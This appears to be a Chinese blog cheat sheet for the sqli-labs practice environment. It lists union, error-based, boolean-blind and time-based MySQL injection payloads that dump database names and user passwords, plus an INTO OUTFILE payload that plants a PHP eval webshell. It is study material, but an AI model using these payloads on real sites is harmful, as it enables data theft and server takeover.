security数据库中:

select left(database(),1)=‘s’;   前1位是否是s;

select database() regexp ‘s’;  匹配第一个字符是否是 s;

select database() like ‘s%’;     匹配第一个字符是否是 s;

select substr((select database()),1,1)='s’; 匹配第一个字符是否是 s;

select substr((select database()),1,3)= ‘sec’; 匹配前三个个字符是否是 sec;

select ascii(substr((select database()),1,1));    直接回显115   115是对应的ascii值;

select ascii(substr((select database()),1,1)) > 110;  如果大于110,就会返回1,否则返回0;

联合语句:

1. ?id=1’     查看是否有注入

2. ?id=1‘ order by 3--+   查看有多少列

3. ?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显

4. ?id=-1‘ union select 1,2,database()--+  查看当前数据库

5. ?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 0,1--+  查看数据库 ;

?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库;

6.?id=-1‘unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表;

?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

查看所有的表;

7.?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+  查询字段信息;

?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

查看所有的字段信息;

8. ?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+  查询一个账号和密码;

?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  查询所有的账号和密码。

报错注入

/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库;

?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询所有的数据库,使用limit进行逐个查询。

 

布尔盲注 

/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+

/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+

先通过大于号或者小于号来判断数据库的第一个字母是哪一个;

?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s

?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+

判断security数据库中的第4个表中的数据的第一位是否大于11;

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+

验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u。

基于时间的注入

?id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞;

?id=1‘ and if(length(database()) = 8,1,sleep(5))--+

当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security);

?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+

如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s;

?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+

同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果;

 

一句话木马  

/?id=-1‘))unionselect1,2,’<?php@eval($_POST[“gxy”]);?>‘intooutfile“C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php” --+

宽字节注入

原文链接:https://blog.csdn.net/heiseweiye/article/details/82723478

原文链接:https://blog.csdn.net/helloc0de/article/details/76180190

推荐解码网站:http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

sqli-libs总结的更多相关文章

  1. sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...

  2. 编译gtk+程序报错gcc: pkg-config --cflags --libs gtk+-2.0: 没有那个文件或目录

    第一次接触gtk+.在网上搜罗良一番,装好相应的库后,编写了第一hello程序.在编译时输入以下命令:gcc -o hello hello.c 'pkg-config --cflags --libs ...

  3. Play libs

    The play.libs package contains several useful libraries that will help you to achieve common program ...

  4. Android中libs目录下armeabi和armeabi-v7a的区别

    armeabi默认选项,支持基于 ARM* v5TE 的设备支持软浮点运算(不支持硬件辅助的浮点计算)支持所有 ARM* 设备 armeabi-v7a支持基于 ARM* v7 的设备支持硬件 FPU ...

  5. SQLi filter evasion cheat sheet (MySQL)

    This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...

  6. python INFO: Can't locate Tcl/Tk libs and/or headers

    安装opencv的时候遇到这个错误: python INFO: Can't locate Tcl/Tk libs and/or headers 参考如下文章解决这个问题: http://www.ver ...

  7. 如何为libs目录下的jar包关联源代码

    以前,我们可以为lib目录下的jar包关联源代码,但是现在似乎不行了. 下面是一篇讲述此问题解决方法的文章: How to attach javadoc or sources to jars in l ...

  8. Makefile选项CFLAGS,LDFLAGS,LIBS

    CFLAGS 表示用于 C 编译器的选项, CXXFLAGS 表示用于 C++ 编译器的选项.这两个变量实际上涵盖了编译和汇编两个步骤. CFLAGS: 指定头文件(.h文件)的路径,如:CFLAGS ...

  9. Android studio libs目录

    Android studio libs目录: 关于Android studio libs目录,Android studio 已经为我们自动生成了,如果默认 是看不到默认Libs目录的,点击红色按钮地方 ...

  10. 写你自己 android 多通道打包工具 可以包libs和.so文件

    android上传应用程序,需要区分各个信道. 通常更改配置文件中的一个通道id,假设有多个通道,手动更改并生成apk这将是非常麻烦的,及增加误差的概率. 在这个课堂上分享一个打包工具.也可在网上类似 ...

随机推荐

  1. AtCoder Beginner Contest 068 ABCD题

    A - ABCxxx Time limit : 2sec / Memory limit : 256MB Score : 100 points Problem Statement This contes ...

  2. gazebo仿真踩坑--rviz中设定机器人的目标位置,move_base后台日志报错

    启动仿真环境及各种节点(amcl,move_base,map_server)后,在rviz中设定机器人的目标位置,后台日志报错 [ INFO] [1571974242.864525935, 40.51 ...

  3. 机器学习作业(一)线性回归——Matlab实现

    题目太长啦!文档下载[传送门] 第1题 简述:设计一个5*5的单位矩阵. function A = warmUpExercise() A = []; A = eye(5); end 运行结果: 第2题 ...

  4. numpy小结(一)

    1.np.zero(10)     创建一个包含10个元素的一维数组 np.ones((10,10))     创建一个包含10*10个元素1的二维数组 2.np.arange(10,50)      ...

  5. python dataframe筛选列表的值转为list【常用】

    网上方法参差不齐,无注释解释不好秒懂,没有自己想要的,故自己试验一番~ 1. 筛选列表中,当b列中为’1’时,所有c的值,然后转为list 2 .筛选列表中,当a列中为'one',b列为'1'时,所有 ...

  6. 155.XSS攻击原理

    XSS攻击: XSS(Cross Site Script)攻击叫做跨站脚本攻击,他的原理是用户使用具有XSS漏洞的网站的时候,向这个网站提交一些恶意代码,当用户在访问这个网站的某个页面的时候,这个恶意 ...

  7. sql语言分类及区别、显示和隐示提交的指令

    SQL的发展是从1974年开始的,其发展过程如下: 1974年-----由Boyce和Chamberlin提出,当时称SEQUEL. 1976年-----IBM公司的Sanjase研究所在研制RDBM ...

  8. python中可变类型和不可变类型数据的复制

    常见的复制方式有以下5种第1种:通过等号[=]复制 - 不论可变还是不可变数据类型,通过[=]复制后都指向同一个内存地址: - 改变复制后的数据(例子中的anotherStr,anotherList) ...

  9. turtleh海龟库

    Turtle海龟库 导入 import turtle turtle.setup(width,height,startx,starty) -setup():设置窗体的位置和大小 相对于桌面的起点的坐标以 ...

  10. C++-Typedef结构体遇上指针

    继Typedef遇上结构体数组后,我们又产生了新的疑问. 上一期地址:https://www.cnblogs.com/lemaden/p/10122929.html 昨天一位朋友又问我了,说结构体数组 ...